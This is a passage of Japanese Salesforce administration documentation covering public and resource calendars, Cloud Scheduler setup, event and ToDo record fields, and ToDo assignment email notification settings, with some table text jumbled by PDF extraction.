Salesforce Classic での公開カレンダーまたはリソースカレンダーの作成および管理
公開カレンダーを使用すると、グループ活動を管理できます。たとえば、マーケティング行動、商品のリ
リース、トレーニングなどのグループの行動を追跡したり、チームの休暇などの共通の活動をスケジュー
ルしたりできます。リソースカレンダーを使用すると、会議室やオーバーヘッドプロジェクターなどの共
有リソースの使用をスケジュールできます。

2184

営業担当のミーティングと ToDo の支援販売ツールの設定および管理



Salesforce Classic での Cloud Scheduler の設定
[新規ミーティング要請] ボタンは、ページレイアウトでデフォルトで有効になっています。ユーザは Cloud

Scheduler を使用して、顧客とのミーティングを要請できます。このボタンは取引先責任者、リード、およ
び個人取引先の詳細ページの [活動予定] 関連リストに表示されます。
行動の項目
行動レコードには、行動の詳細を追跡して記録するための標準項目があります。

関連トピック:

行動およびカレンダーのオプションのカスタマイズ

Salesforce Classic での公開カレンダーまたはリソースカレンダーの作成および管理

エディション

Salesforce Classic で使用可
能なエディション: Group
Edition、Personal Edition、
および Database.com
Edition を除くすべてのエ
ディション

ユーザ権限

公開カレンダーを管理す
る
• 「アプリケーションの

カスタマイズ」

リソースカレンダーを管
理する
• 「アプリケーションの

カスタマイズ」

行動の関連レコードを参
照する
• ユーザには「参照」権

限が必要

公開カレンダーを使用すると、グループ活動を管理できます。たとえば、マー
ケティング行動、商品のリリース、トレーニングなどのグループの行動を追跡
したり、チームの休暇などの共通の活動をスケジュールしたりできます。リソー
スカレンダーを使用すると、会議室やオーバーヘッドプロジェクターなどの共
有リソースの使用をスケジュールできます。
作成できるカレンダーの数に制限はありません。
• 既存の公開カレンダーとリソースカレンダーの参照および編集

[設定] から、[クイック検索] ボックスに「公開 & リソースカレンダー」と入
力し、[公開 & リソースカレンダー] を選択します。

• 公開カレンダーまたはリソースカレンダーの作成
1. [新規]をクリックしてカレンダーの名前を指定し、[有効]を選択してカレ

ンダーを保存します。
2. [共有] をクリックします。カレンダーを共有させる公開グループ、ロー

ル、またはユーザを追加します。
3. [カレンダーのアクセス権] で、カレンダーを共有する方法を指定します。

詳細を非表示
他のユーザには、所定の時間が使用可能かどうかが表示されますが、
カレンダーの行動についてそれ以外の情報は表示されません。

詳細の非表示、新規行動の追加
他のユーザには、所定の時間が使用可能かどうかが表示されますが、
行動の詳細は表示されません。カレンダーに行動を追加できます。

詳細の表示
他のユーザに、カレンダーの行動についての詳細情報が表示されます。

詳細の表示、新規行動の追加
他のユーザには、カレンダーの行動についての詳細情報が表示され、カレンダーに行動を追加でき
ます。
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フルアクセス
他のユーザには、カレンダーの行動についての詳細情報が表示され、カレンダーに行動を追加した
り、カレンダーの既存の行動を編集できます。

• 公開カレンダーの削除
1. [設定] から、[クイック検索]ボックスに「公開 & リソースカレンダー」と入力し、[公開 & リソースカレ

ンダー] を選択します。
2. カレンダーの名前の横にある [削除] をクリックします。

ユーザは、適切な権限を持つようにしてください。たとえば、商談に対する「参照」権限を持っていない招待
者は、その予定と関連付けられている商談を参照できません。

関連トピック:

活動へのアクセス

Salesforce Classic での Cloud Scheduler の設定

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ページレイアウトと活動
設定をカスタマイズする
• 「アプリケーションの

カスタマイズ」

[新規ミーティング要請] ボタンは、ページレイアウトでデフォルトで有効になっ
ています。ユーザは Cloud Scheduler を使用して、顧客とのミーティングを要請で
きます。このボタンは取引先責任者、リード、および個人取引先の詳細ページ
の [活動予定] 関連リストに表示されます。

重要:  Winter '17 以降に作成された Salesforce 組織では、Cloud Scheduler を使用
できません。Winter '17 より前に Cloud Scheduler を有効にした場合は、Winter

'18 まで組織で引き続き使用できます。ただし、[新規ミーティング要請] ボ
タンを削除すると、追加し直すことはできません。詳細は、「Winter ’17 で
段階的な廃止を開始する Cloud Scheduler」を参照してください。

次のメソッドを単独でまたは組み合わせて使用し、詳細ページレイアウトに [新
規ミーティング要請] ボタンを表示するかどうかを制御します。このボタンは、
[要請済みミーティング] サブタブが有効になっている場合は、[ホーム] タブの [カ
レンダー] セクションでも使用できます。次の追加アクションおよび削除操作
は、[カレンダー] セクションのボタンには影響を与えません。

複数のページレイアウト用の Cloud Scheduler の簡易設定
1. [設定] から、[クイック検索] ボックスに「Cloud Scheduler」と入力し、[クラウドスケジューラ] を選択

します。
2. ボタンを追加するときに、新しい UI のテーマがまだ有効になっていない場合は、[設定] の [ユーザインター

フェース] ページで有効にします。
3. すべての対象のページレイアウトの [活動予定] 関連リストに [新規ミーティング要請] ボタンを追加するに

は、[[追加] ボタン] をクリックします。現在のすべてのページレイアウトからボタンを削除するには、[[削
除] ボタン] をクリックします。
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個別のページレイアウト用の Cloud Scheduler の手動設定
1. ボタンを追加するときに、新しい UI のテーマがまだ有効になっていない場合は、[設定] の [ユーザインター

フェース] ページで有効にします。「ユーザインターフェースの設定」を参照してください。
2. 希望するページレイアウトで、[活動予定] 関連リストに [新規ミーティング要請] ボタンを追加または削除

します。
• 取引先責任者
• リード
• 個人取引先 (有効な場合)

ユーザが個人取引先とのミーティングを要請することを許可するには、ページレイアウトに [メール]

項目を追加します。個人取引先のオブジェクト管理設定から、[ページレイアウト] に移動します。

Cloud Scheduler の任意の設定
次の設定は、Cloud Scheduler がさらに使いやすいものになるよう、必要に応じて有効化できます。
• ユーザに Salesforce for Outlook をインストールするように依頼します。

ユーザが Salesforce と Outlook で行動を同期して、Salesforce のカレンダーに表示されているユーザ自身の予定
に基づいてミーティング時間を提案できるようにすることをお勧めします。

• 招待者に送信するミーティング要請に会社のロゴを追加します。
• [ホーム] タブの [カレンダー] セクションに要請済みのミーティングを表示します。

[要請済みミーティング] サブタブは、デフォルトで表示されます。[新規ミーティング要請] ボタンをすべて
のページレイアウトから削除する場合、ユーザがミーティングを要請できなくなるため、[要請済みミー
ティング] サブタブも削除することをお勧めします。

• Cloud Scheduler を使用して、パートナーユーザがミーティングを要請できるようにします。カスタムパート
ナーユーザプロファイルに適切なユーザ権限 (ページ2187)があり、有効で、パートナーユーザに割り当てら
れている必要があります。

ユーザ権限要件
ユーザがミーティングを要請するには、「メールの送信」と「行動の編集」権限が必要です。これらの権限
は、ほとんどの標準プロファイルで有効になっています。
ユーザに必要な権限がないと、次の問題が発生します。
• [活動予定] 関連リストに [新規ミーティング要請] ボタンを表示できない
• 要請したミーティングの編集、再スケジュール、キャンセルができない

項目レベルセキュリティの要件
ほとんどの場合、ユーザにミーティングの要請を許可するのに項目レベルセキュリティ設定を変更する必要は
ありません。ただし、Salesforce組織で特定のプロファイルについてデフォルトの項目レベルセキュリティ設定
を変更した場合は、次の表を参照し、変更によってユーザがミーティングを要請できなくなるかどうかを確認
します。
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メモ: 権限セットと拡張プロファイルユーザインターフェースでは、設定の表示ラベルが元のプロファイ
ルユーザインターフェースや項目をカスタマイズするための項目レベルのセキュリティページとは異な
ります。

説明必要な項目レベルセキュリティ設定項目オブジェ
クト

元のプロファイル
ユーザインター
フェースおよび項
目ページのカスタ
マイズ

権限セットと拡張
プロファイルユー
ザインターフェー
ス

この項目を参照できない場合、[活動
予定] 関連リストには [新規ミーティン

[参照可能]  ([参照
のみ] が選択され
ていない)

[参照] と [編集]名前Event

グ要請] ボタンが表示されず、ユーザ
が要請済みミーティングを変更 (確認
または再スケジュール) または表示し
ようとすると「アクセス権がありませ
ん」というメッセージが表示されま
す。
この項目を参照できるが編集できない
場合、[活動予定] 関連リストには [新
規ミーティング要請] ボタンが表示さ
れず、要請済みミーティングは参照の
みとして表示されるため、ユーザは
ミーティングを確認または再スケ
ジュールできません。

デフォルトでは、要請されたミーティ
ングが確認されると、ミーティング主

参照可能参照説明

催者から最後に送信されたメッセージ
が新しい行動の [説明] 項目に表示さ
れます。
ただし、[説明] 項目の項目レベルセ
キュリティが参照可能でない場合、後
で項目レベルセキュリティを参照可能
に設定しても [説明] 項目に最後の
メッセージは表示されません。
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Salesforce Classic でのミーティング要請へのカスタムロゴの追加に関するガイドライン
ミーティング要請などのコミュニケーションで、カスタムロゴを表示できます。カスタムロゴ画像に関す
る次のガイドラインを使用してください。

関連トピック:

活動

Salesforce Classic でのミーティング要請へのカスタムロゴの追加に関するガイドライン

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

活動設定をカスタマイズ
する
• 「アプリケーションの

カスタマイズ」

ミーティング要請などのコミュニケーションで、カスタムロゴを表示できます。
カスタムロゴ画像に関する次のガイドラインを使用してください。
カスタムロゴは、次の場所に表示されます。
• ミーティングを要請するか、行動をスケジュールするときに招待者に送信す

るメール要求
• 招待者が都合のよいミーティング時間を選択するミーティング回答ページ
• 招待者が行動を承認または拒否する行動の回答ページ
カスタムロゴを使用するときは、次の点に注意してください。
• 画像は 20 KB 未満であり、ファイル形式は .gif、.jpeg、または .png である必要

があります。
• 最良の結果を得るには、幅は 130 ピクセル未満、高さは 100 ピクセル未満、1

インチあたり 72 ピクセルの画像を使用します。自動サイズ調整により、一部
のメールクライアントで大きい画像が正しく表示されない場合があります。

• ロゴを外部で参照できるようにするには、[ドキュメント] タブにロゴをアップロードします。

メモ:

– ロゴが共有ドキュメントフォルダにある場合、他のユーザはロゴを置き換えることができます。不
要な変更を回避するため、システム管理者のみがアクセスできるフォルダを作成し、ロゴをこの
フォルダにアップロードします。

– [私の個人ドキュメント] フォルダに保存されているか [社外秘フラグ] とマークされたロゴは使用で
きません。

• ミーティング要請で使用されている場合、[ドキュメント] タブからカスタムロゴを削除することはできま
せん。ロゴとして使用する別の画像を選択するか、ミーティング要請のカスタムロゴを表示するオプショ
ンの選択を解除します。

関連トピック:

Salesforce Classic での Cloud Scheduler のしくみ

行動の項目
行動レコードには、行動の詳細を追跡して記録するための標準項目があります。
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Lightning Experience の行動の項目
Lightning Experience では、行動の詳細を追跡して記録するための次の標準項目を使用できます。
Salesforce Classic の行動の項目
Salesforce Classic では、行動の詳細を追跡して記録するための次の標準項目を使用できます。

Lightning Experience の行動の項目

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

Lightning Experience では、行動の詳細を追跡して記録するための次の標準項目を
使用できます。

説明項目

活動内のすべての通貨金額項目のデ
フォルト通貨を示します。金額は活動
通貨で表示されます。また、ユーザの
個人設定の通貨にも変換されます。マ
ルチ通貨を使用する組織でのみ表示さ
れます。

通貨

このチェックボックスをオンにする
と、ユーザは行動が終日継続すること
を指定します。

終日の行動

行動に割り当てられた所有者を示しま
す。デフォルトでは、行動は作成者に
割り当てられます。
行動の詳細ページまたはリストビュー
の [割り当て先] は行動の作成者を表

割り当て先

します。ただし、行動の招待者が取引
先責任者に関連する活動レポートを参
照している場合、[割り当て済み]はそ
の参照者を招待者として表します。
この項目は、Personal Edition では使用で
きません。

行動を作成したユーザ (作成日時を含
む) を示します。参照のみ。

作成者

行動の予定日を示します。この項目
は、複数日の行動が無効になっている
場合にのみ表示されます。

日付

行動の説明。データは最大 32 KB です。説明

活動が属するディビジョンを示しま
す。この値は、関連付けられている取

ディビジョン

引先、リード、ケース、カスタムオブ

2190

営業担当のミーティングと ToDo の支援販売ツールの設定および管理



説明項目

ジェクト (存在する場合) から継承されます。存在しな
い場合、活動はグローバルディビジョンに属します。
ディビジョンを使用してデータを分割している組織で
のみ使用できます。

終日よりも短い範囲の行動の長さ (時間と分) を表しま
す。この項目は、複数日の行動が無効になっている場
合にのみ表示されます。

所要時間

行動に関連付けられている取引先責任者またはリード
のメールアドレスが含まれます。この項目には、関連

メール

付けられている取引先責任者またはリードレコードの
値が挿入されます。

行動の終了予定日時を示します。この項目は、複数日
の行動が有効になっている場合にのみ表示されます。

終了

どの選択リスト値がそのレコードで使用可能かを決定
する項目名が含まれます。使用可能なエディション

行動レコードタイプ

は、Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition で
す。

行動を最後に変更したユーザの名前、および変更日時
が含まれます。参照のみ。

最終更新者

行動に関連付けられている取引先責任者またはリード
の名前が含まれます。組織で Shared Activities が有効化

名前

されている場合は、最大 50 件の取引先責任者を非定
期的な行動に関連付けることができます。この項目
は、取引先責任者およびリードに対する「参照」権限
を持つユーザにのみ表示されます。取引先責任者を行
動に関連付けると、Salesforceが行動を関連付ける取引
先に影響を与える場合があります。[関連先] 項目を
参照してください。

行動の場所を示します。場所

行動に関連付けられている取引先責任者またはリード
の電話番号が含まれます。この項目には、関連付けら

電話

れている取引先責任者またはリードレコードの値が挿
入されます。

行動の所有者以外のユーザが、行動の所有者のカレン
ダーを表示した場合に、行動の詳細を表示できるかど

非公開

うかを示します。ただし、「すべてのデータの参照」
または「すべてのデータの編集」権限を持つユーザ
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説明項目

は、レポートや検索、または他のユーザのカレンダー
を参照したときに非公開の行動の詳細を参照できま
す。エクスポートされたデータファイルには常に非公
開の行動が含まれます。招待者を含む行動と、他の
ユーザのカレンダーで追加または変更された行動は非
公開にはできません。非公開の行動を他のレコードに
関連付けることはできません。

公開
メモ:  Summer '13 より前では、この項目は [セル
フサービスに公開] と呼ばれていました。

このチェックボックスでは、過去の行動をセルフサー
ビスポータルで表示するかどうかを指定できます。

メモ:  Spring '12 以降、新しい組織ではセルフサー
ビスポータルを利用できません。既存の組織は、
引き続きセルフサービスポータルを使用できま
す。

組織でコミュニティが有効になっている場合、この項
目の値により、行動をコミュニティの外部ユーザに表
示するかどうかを指定します。外部ユーザが行動を所
有している場合は、行動が公開とマークされているか
どうかに関係なく、そのユーザにはコミュニティで行
動が表示されます。
この項目は、デフォルトでは表示されません。Salesforce

システム管理者は、この項目を公開できます。

行動が関連付けられているレコード (取引先、商談、
カスタムオブジェクトなど) を表します。この項目は、

関連先

ユーザが行動をリードではなく取引先責任者に関連付
けた場合にのみ使用できます。レコードは、行動が関
連付けられているレコードタイプに対する「参照」権
限を持つユーザにのみ表示されます。
行動を取引先以外のオブジェクトに関連付ける場合、
Salesforceは、行動の取引先を次のように判断します。
• ユーザが行動を取引先に属する商談、契約、カス

タムエンティティに関連付ける場合、Salesforceは、
そのオブジェクトの取引先を行動の取引先として
使用します。

• ユーザが行動を他のオブジェクトと取引先責任者
に関連付ける場合、Salesforce は、主取引先責任者
の取引先を行動の取引先として使用します。
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説明項目

• ユーザが [関連先] 項目を空のままにした場合、
Salesforce は取引先を行動に関連付けません。

別のユーザがカレンダーを参照した場合に行動がどの
ように表示されるか (予定あり、外出中、空き時間な
ど) を決定します。

予定の公開方法

行動の開始予定日時。この項目は、複数日の行動が有
効になっている場合にのみ表示されます。

開始

行動の件名が含まれます。件名

行動予定の開始時間を示します。この項目は、複数日
の行動が無効になっている場合にのみ表示されます。

時間

メールやミーティングなど、行動の種別を示します。
選択リストの値の最大文字数は 40 文字です。

種類

Salesforce Classic の行動の項目

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

招待者が関連する行動が
使用できないエディショ
ン: Personal Edition

Salesforce Classicでは、行動の詳細を追跡して記録するための次の標準項目を使用
できます。

説明項目

活動内のすべての通貨金額項目のデ
フォルト通貨を示します。金額は活動
通貨で表示されます。また、ユーザの
個人設定の通貨にも変換されます。マ
ルチ通貨を使用する組織でのみ表示さ
れます。

通貨

このチェックボックスをオンにする
と、ユーザは行動が終日継続すること
を指定します。

終日の行動

行動に割り当てられた所有者を示しま
す。デフォルトでは、行動は作成者に
割り当てられます。
行動の詳細ページまたはリストビュー
の [割り当て先] は行動の作成者を表

割り当て先

します。ただし、行動の招待者が取引
先責任者に関連する活動レポートを参
照している場合、[割り当て済み]はそ
の参照者を招待者として表します。
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説明項目

この項目は、Personal Edition では使用できません。

このチェックボックスをオンにすると、ユーザは一連
の定期的な行動を設定できます。

定期的な行動を作成

行動を作成したユーザ (作成日時を含む) を示します。
参照のみ。

作成者

行動の予定日を示します。この項目は、複数日の行動
が無効になっている場合にのみ表示されます。

日付

行動を説明するメモが含まれます。この項目には 32

KB までのデータを入力できます。
説明

活動が属するディビジョンを示します。この値は、関
連付けられている取引先、リード、ケース、カスタム

ディビジョン

オブジェクト (存在する場合) から自動的に継承されま
す。存在しない場合、活動はグローバルディビジョン
に属します。ディビジョンを使用してデータを分割し
ている組織でのみ使用できます。

終日よりも短い範囲の行動の長さ (時間と分) を表しま
す。この項目は、複数日の行動が無効になっている場
合にのみ表示されます。

所要時間

行動に関連付けられている取引先責任者またはリード
のメールアドレスが含まれます。この項目には、関連

メール

付けられている取引先責任者またはリードレコードの
値が自動的に設定されます。

行動の終了予定日時を示します。この項目は、複数日
の行動が有効になっている場合にのみ表示されます。

終了

どのような選択リスト値がそのレコードで使用可能か
を決定する項目名が含まれます。使用可能なエディ

行動レコードタイプ

ションは、Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition で
す。

行動を最後に変更したユーザの名前、および変更日時
が含まれます。参照のみ。

最終更新者

行動に関連付けられている取引先責任者またはリード
の名前が含まれます。組織で Shared Activities が有効化

名前

されている場合は、最大 50 件の取引先責任者を非定
期的な行動に関連付けることができます。この項目
は、取引先責任者およびリードに対する「参照」権限
を持つユーザにのみ表示されます。取引先責任者を行
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説明項目

動に関連付けると、Salesforceが行動を関連付ける取引
先に影響を与える場合があります。[関連先] 項目を
参照してください。

行動の場所を示します。場所

行動に関連付けられている取引先責任者またはリード
の電話番号が含まれます。この項目には、関連付けら

電話

れている取引先責任者またはリードレコードの値が自
動的に設定されます。

行動の所有者以外のユーザが、行動の所有者のカレン
ダーを表示した場合に、行動の詳細を表示できるかど

非公開

うかを示します。ただし、「すべてのデータの参照」
または「すべてのデータの編集」権限を持つユーザ
は、レポートや検索、または他のユーザのカレンダー
を参照したときに非公開行動の詳細を参照できます。
エクスポートされたデータファイルには常に非公開の
行動が含まれます。招待者を含む行動と、他のユーザ
のカレンダーで追加または変更された行動は非公開に
はできません。非公開の行動を他のレコードに関連付
けることはできません。

公開
メモ:  Summer '13 より前では、この項目は [セル
フサービスに公開] と呼ばれていました。

このチェックボックスは、過去の行動をセルフサービ
スポータルで表示するかどうかを指定します。

メモ:  Spring '12 以降、新しい組織ではセルフサー
ビスポータルを利用できません。既存の組織は、
引き続きセルフサービスポータルを使用できま
す。

組織でコミュニティが有効になっている場合、この項
目の値により、行動をコミュニティの外部ユーザに表
示するかどうかを指定します。外部ユーザが行動を所
有している場合は、行動が公開とマークされているか
どうかに関係なく、そのユーザにはコミュニティで行
動が表示されます。
この項目は、デフォルトでは表示されません。Salesforce

システム管理者は、この項目を公開できます。

行動が関連付けられているレコード (取引先、商談、
カスタムオブジェクトなど) を表します。この項目は、

関連先

ユーザが行動をリードではなく取引先責任者に関連付
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説明項目

けた場合にのみ使用できます。レコードは、行動が関
連付けられているレコードタイプに対する「参照」権
限を持つユーザにのみ表示されます。
行動を取引先以外のオブジェクトに関連付ける場合、
Salesforceは、行動の取引先を次のように判断します。
• 行動を商談、契約、または取引先に属するカスタ

ムエンティティに関連付けると、Salesforce はその
オブジェクトの取引先を行動の取引先として使用
します。

• 行動を他の種別のオブジェクトに関連付け、その
行動を取引先責任者にも関連付けると、Salesforce

は主取引先責任者の取引先を行動の取引先として
使用します。

• [関連先] 項目が空のままの場合、Salesforce では、
取引先は行動に関連付けられません。

省略可能な項目。行動に招待されたユーザが行動を承
諾または拒否するときにメモを入力できるようにしま
す。この項目は、Personal Edition では使用できません。

返答

最大 1,000 人のユーザ (招待者) およびリソースを行動
に関連付けることができます。行動に招待する人また

招待者を選択

はリソースを検索すると、[選択可能] リストに最大
300 の結果が表示されます。

選択リスト。別のユーザがカレンダーを参照した場合
に行動がどのように表示されるか (予定あり、外出中、
空き時間など) を決定します。

予定の公開方法

行動の開始予定日時。この項目は、複数日の行動が有
効になっている場合にのみ表示されます。

開始

行動の件名 (「ミーティング」など) が含まれます。
ユーザは、件名を入力するか、すでに定義されている
件名のリストから選択することができます。

件名

行動予定の開始時間を示します。この項目は、複数日
の行動が無効になっている場合にのみ表示されます。

時間

メールやミーティングなど、行動の種別を示します。
選択リストの値の最大文字数は 40 文字です。

種類
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営業担当による ToDo の管理の支援
営業担当が作業を管理する方法を最適化します。Lightning Experience、Salesforce Classic、および Salesforce1 のオプ
ションは異なります。

Lightning Experience で ToDo リストをカスタマイズする場合の考慮事項
コンパクトレイアウトを使用して、ToDo リストの項目の表示と順序をカスタマイズします。ただし、重要
な ToDo 情報を含む特定の項目は、レイアウトから削除しても ToDo リストに残ります。たとえば、状況お
よび期日の項目をコンパクトレイアウトから削除するとします。ToDo のチェックボックスおよび期日は
ToDo のリストに引き続き表示されます。リストに表示されるの残りの項目は、コンパクトレイアウトに含
まれる項目を反映します。
Lightning Experience での ToDo リストのカスタマイズのガイドライン
ToDo リストの横にあるアクションバーをカスタマイズするには、ToDo のページレイアウトの [Salesforce1 お
よび Lightning Experience アクション] セクションを使用します。
ToDo を閉じたり再度開いたりする場合の考慮事項
Salesforce Classic の ToDo の入力規則の処理方法は、Lightning Experience および Salesforce1 と異なります。
ToDo 割り当てのメール通知に関する考慮事項
[活動設定] の [ToDo 割り当て通知に関するユーザ制御を有効化] 設定が有効になっている場合は、ユーザの
個人設定に [私に todo が割り当てられた場合にメール送信] オプションが表示されます。この設定とオプ
ションはどちらもデフォルトで有効になっています。この設定を有効にした場合と無効にした場合では、
ユーザへの影響が異なります。Salesforce 組織を移行する前に、この設定を無効にして過剰なメール通知を
回避します。移行後に再度有効にできます。
ToDo の項目
ToDo レコードには、ToDo の詳細を追跡して記録するための標準項目があります。
Salesforce Classic でのメール追跡
HTML メールテンプレートを Salesforce Classicで使用する場合は、Salesforceでアウトバウンド HTML メールを完
了した ToDo の種別として追跡できるようにします。このオプションを無効にすると、メール追跡情報が
Salesforce で保存されなくなります。ただし、メール追跡レポートは [レポート] タブに残ります。メール統
計情報をユーザに表示するには、[HTML メールの状況] 関連リストを関連するページレイアウトに追加しま
す。

関連トピック:

ToDo のカスタマイズオプション
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Lightning Experience で ToDo リストをカスタマイズする場合の考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンパクトレイアウトを使用して、ToDo リストの項目の表示と順序をカスタマ
イズします。ただし、重要な ToDo 情報を含む特定の項目は、レイアウトから削
除しても ToDo リストに残ります。たとえば、状況および期日の項目をコンパク
トレイアウトから削除するとします。ToDo のチェックボックスおよび期日は
ToDo のリストに引き続き表示されます。リストに表示されるの残りの項目は、
コンパクトレイアウトに含まれる項目を反映します。

Lightning Experience での ToDo リストのカスタマイズのガイドライン

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ToDo リストの横にあるアクションバーをカスタマイズするには、ToDo のページ
レイアウトの [Salesforce1 および Lightning Experience アクション] セクションを使用
します。

関連トピック:

Lightning Experience の活動コンポーザと活動タイムラインの考慮事項

ToDo を閉じたり再度開いたりする場合の考慮事項
Salesforce Classic の ToDo の入力規則の処理方法は、Lightning Experience および Salesforce1 と異なります。

Lightning Experience で ToDo を閉じたり再度開いたりする場合の考慮事項
ToDo の入力規則を作成している場合 (ToDo を閉じる前にユーザによるコメントの入力を要求するなど)、ToDo

に対して複数の [完了] の状況を設定すると、ユーザは ToDo を再度開いたり閉じたりするときに状況を選択
する必要があります。ToDo に対して複数の [進行中] の状況を設定していた場合、Lightning Experience では最
後の [進行中] の状況が記憶されています。
Salesforce Classic で ToDo を閉じたり再度開いたりする場合の考慮事項
ToDo を閉じるための入力規則を作成している場合 (ユーザによるコメントの入力を要求するなど)、ユーザ
は、ToDo を閉じる前に ToDo の詳細ページを開いて編集する必要があります。同様に、ToDo に対して複数
の [進行中] の状況を設定していた場合、ユーザは ToDo を再度開くときに ToDo を編集して状況を選択する必
要があります。
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Lightning Experience で ToDo を閉じたり再度開いたりする場合の考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ToDo の入力規則を作成している場合 (ToDo を閉じる前にユーザによるコメントの
入力を要求するなど)、ToDo に対して複数の [完了] の状況を設定すると、ユーザ
は ToDo を再度開いたり閉じたりするときに状況を選択する必要があります。
ToDo に対して複数の [進行中] の状況を設定していた場合、Lightning Experience で
は最後の [進行中] の状況が記憶されています。

Salesforce Classic で ToDo を閉じたり再度開いたりする場合の考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Database.com Edition を除
くすべてのエディション

ToDo を閉じるための入力規則を作成している場合 (ユーザによるコメントの入力
を要求するなど)、ユーザは、ToDo を閉じる前に ToDo の詳細ページを開いて編集
する必要があります。同様に、ToDo に対して複数の [進行中] の状況を設定して
いた場合、ユーザは ToDo を再度開くときに ToDo を編集して状況を選択する必要
があります。

ToDo 割り当てのメール通知に関する考慮事項

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

[活動設定] の[ToDo 割り当て通知に関するユーザ制御を有効化]設定が有効になっ
ている場合は、ユーザの個人設定に[私に todo が割り当てられた場合にメール送
信]オプションが表示されます。この設定とオプションはどちらもデフォルトで
有効になっています。この設定を有効にした場合と無効にした場合では、ユー
ザへの影響が異なります。Salesforce 組織を移行する前に、この設定を無効にし
て過剰なメール通知を回避します。移行後に再度有効にできます。

表 12 : [設定] でこの機能を有効および無効にした場合の影響
この機能を無効にした場合の影響この機能を有効にした場合の影響ユーザ種別

[私の設定] > [通知] に、[あなたに
ToDo を割り当て]チェックボックス
が表示されません。

[私の設定] > [通知] に、[あなたに
ToDo を割り当て]チェックボックス
が表示されます。

Salesforce1ユーザ (コミュニティユー
ザを含む)

別のユーザが ToDo を割り当てる
と、どのユーザもメール通知を受
信しません。

Lightning Experience には、[私に todo
が割り当てられた場合にメール送
信] チェックボックスが表示されま
せん。ただし、ユーザが Salesforce

Lightning Experience ユーザ

Classicでこのプションをオンにして
いる場合は、引き続きメール通知
を受信します。

Salesforce Classicユーザ (コミュニティ
ユーザを含む)

• [ToDo を作成] ページに、[メール
通知を送信] および [この設定を

• [ToDo を作成] ページに、[メール
通知を送信] および [この設定を
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この機能を無効にした場合の影響この機能を有効にした場合の影響ユーザ種別

デフォルトにする]チェックボッ
クスが表示されません。

デフォルトにする]チェックボッ
クスが表示され、チェックボッ
クスがオンかどうかに応じて
メール通知が送信されます。

• ユーザの個人設定の [アラーム &

アラート] ページに、[私に todo
が割り当てられた場合にメール • [私に todo が割り当てられた場

合にメール送信]チェックボック
スが表示されません。

送信]チェックボックスが表示さ
れ、デフォルトでオンになって
います。

[ToDo を作成] ページに、[メール通
知を送信する]および[この設定をデ

パートナーポータルユーザ • [ToDo を作成] ページに、[メール
通知を送信] および [この設定を

フォルトにする] チェックボックスデフォルトにする]チェックボッ
クスが表示されません。 が表示され、チェックボックスが

オンかどうかに応じてメール通知
が送信されます。• 他のユーザから ToDo が割り当て

られるたびに、ユーザにメール
通知が送信されます (パートナー
ポータルには、システム管理者
またはユーザ用の設定ページが
ありません)。

ワークフロー ToDo ルールに従っ
て、ToDo を割り当てられたユーザ
にメール通知が送信されます。

ワークフロー ToDo ルールで生成さ
れた ToDo を割り当てられたユーザ

• ワークフロー ToDo の [新規 ToDo]

ページに、[任命先へ通知]

チェックボックスが表示されま
せん。

• Winter '15 より前に Salesforce シス
テム管理者が [任命先へ通知]

チェックボックスをオンにして
いた場合、ToDo を割り当てられ
たユーザがこのオプションを選
択解除すれば通知を受信しませ
ん。

API を使用して、
triggerUserEmail 値を設定しま
す。デフォルトは false です。

API を使用して ToDo が割り当てられ
たユーザ

• triggerUserEmailが true の場
合は、ToDo が割り当てられたと
きにすべてのユーザにメール通
知が送信されます。• triggerUserEmailが true の場

合は、個々のユーザの設定に
従って通知が送信されます。

• triggerUserEmailが false の場
合は、ToDo が割り当てられたと
きにメール通知が送信されませ
ん。

• triggerUserEmailが false の場
合は、ToDo が割り当てられたと
きにメール通知が送信されませ
ん。
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この機能を無効にした場合の影響この機能を有効にした場合の影響ユーザ種別

要求ヘッダー内の値がメール通知
を送信するように設定されている

Apex を使用して送信される通知は、
要求ヘッダーのコンテキスト内で
送信されます。

Apex を使用して ToDo が割り当てら
れたユーザ

場合は、ToDo が割り当てられたと
きにユーザにメール通知が送信さ
れます。Apex は、ヘッダーを最初
の行から最後の行まで順次処理し
ます。要求ヘッダー内のステート
メントで ToDo 通知が必要であるこ
とが示されている場合は、ヘッダー
のそれ以降のステートメントに関
係なく、メール通知が送信されま
す。

関連トピック:

Salesforce Classic の活動アラーム

ToDo の項目
ToDo レコードには、ToDo の詳細を追跡して記録するための標準項目があります。

Lightning Experience の ToDo の項目
Lightning Experience では、ToDo の詳細を追跡して記録するための次の標準項目を使用できます。
Salesforce Classic の ToDo の項目
Salesforce Classic では、ToDo の詳細を追跡して記録するための次の標準項目を使用できます。

Lightning Experience の ToDo の項目

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

Lightning Experience では、ToDo の詳細を追跡して記録するための次の標準項目を
使用できます。

説明項目

ToDo のすべての通貨金額項目のデフォ
ルト通貨を示します。金額は ToDo 通貨
で表示され、ユーザの個人設定の通貨
にも変換されます。マルチ通貨を使用
する組織でのみ表示されます。

通貨

ToDo に割り当てられた所有者を示しま
す。デフォルトで、ToDo は作成者に割

割り当て先

り当てられます。この項目は、Personal

Edition では使用できません。
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説明項目

通話時間を秒単位で示します。Salesforce CRM Call Center

を使用して通話に対応すると、この項目に情報が入力
されます。

通話時間

サードパーティのテレフォニーシステムとのSalesforce

コンピュータテレフォニーインテグレーション (CTI) 経
通話オブジェクト ID

由で Salesforce にログされた通話の ID を示します。こ
